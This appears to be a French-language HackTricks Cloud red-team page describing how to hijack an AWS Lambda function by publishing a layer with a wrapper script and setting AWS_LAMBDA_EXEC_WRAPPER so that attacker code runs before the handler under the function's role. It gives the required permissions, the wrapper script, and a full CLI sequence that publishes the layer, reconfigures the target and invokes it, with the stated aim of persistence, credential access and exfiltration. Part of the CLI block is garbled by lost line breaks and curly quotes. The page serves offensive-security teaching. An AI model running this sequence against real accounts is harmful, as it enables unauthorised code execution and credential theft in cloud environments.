AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Résumé

Abusez de la variable d’environnement AWS_LAMBDA_EXEC_WRAPPER pour exécuter un script wrapper contrôlé par l’attaquant avant que le runtime/handler ne démarre. Déployez le wrapper via un Lambda Layer à /opt/bin/htwrap, définissez AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, puis invoquez la fonction. Le wrapper s’exécute dans le processus runtime de la fonction, hérite du rôle d’exécution de la fonction, et finit par exec le runtime réel afin que le handler d’origine s’exécute normalement.

Warning

Cette technique donne une exécution de code dans la Lambda cible sans modifier son code source ni son rôle et sans nécessiter iam:PassRole. Vous avez seulement besoin de la capacité à mettre à jour la configuration de la fonction et à publier/attacher un layer.

Permissions requises (attaquant)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (ou déclencher via un événement existant)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion (même compte) et éventuellement lambda:AddLayerVersionPermission si vous utilisez un layer cross-account/public

Wrapper Script

Placez le wrapper à /opt/bin/htwrap dans le layer. Il peut exécuter de la logique pré-handler et doit se terminer par exec "$@" pour chaîner vers le runtime réel.

#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

Étapes d’attaque (CLI)

Publier la layer, l'attacher à la fonction cible, définir le wrapper, invoquer ```bash # Vars REGION=us-east-1 TARGET_FN=

1) Package wrapper at /opt/bin/htwrap

mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)

2) Publish the layer

LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)

echo “$LAYER_ARN”

3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER

aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”

Wait for update to finish

until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done

4) Invoke and verify via CloudWatch Logs

aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text

</details>

## Impact

- Exécution de code pré-handler dans le contexte d'exécution Lambda en utilisant le rôle d'exécution existant de la fonction.
- Aucun changement du code de la fonction ou du rôle requis ; fonctionne sur les runtimes managés courants (Python, Node.js, Java, .NET).
- Permet la persistance, l'accès aux identifiants (p. ex., STS), l'exfiltration de données et la manipulation du runtime avant l'exécution du handler.

> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>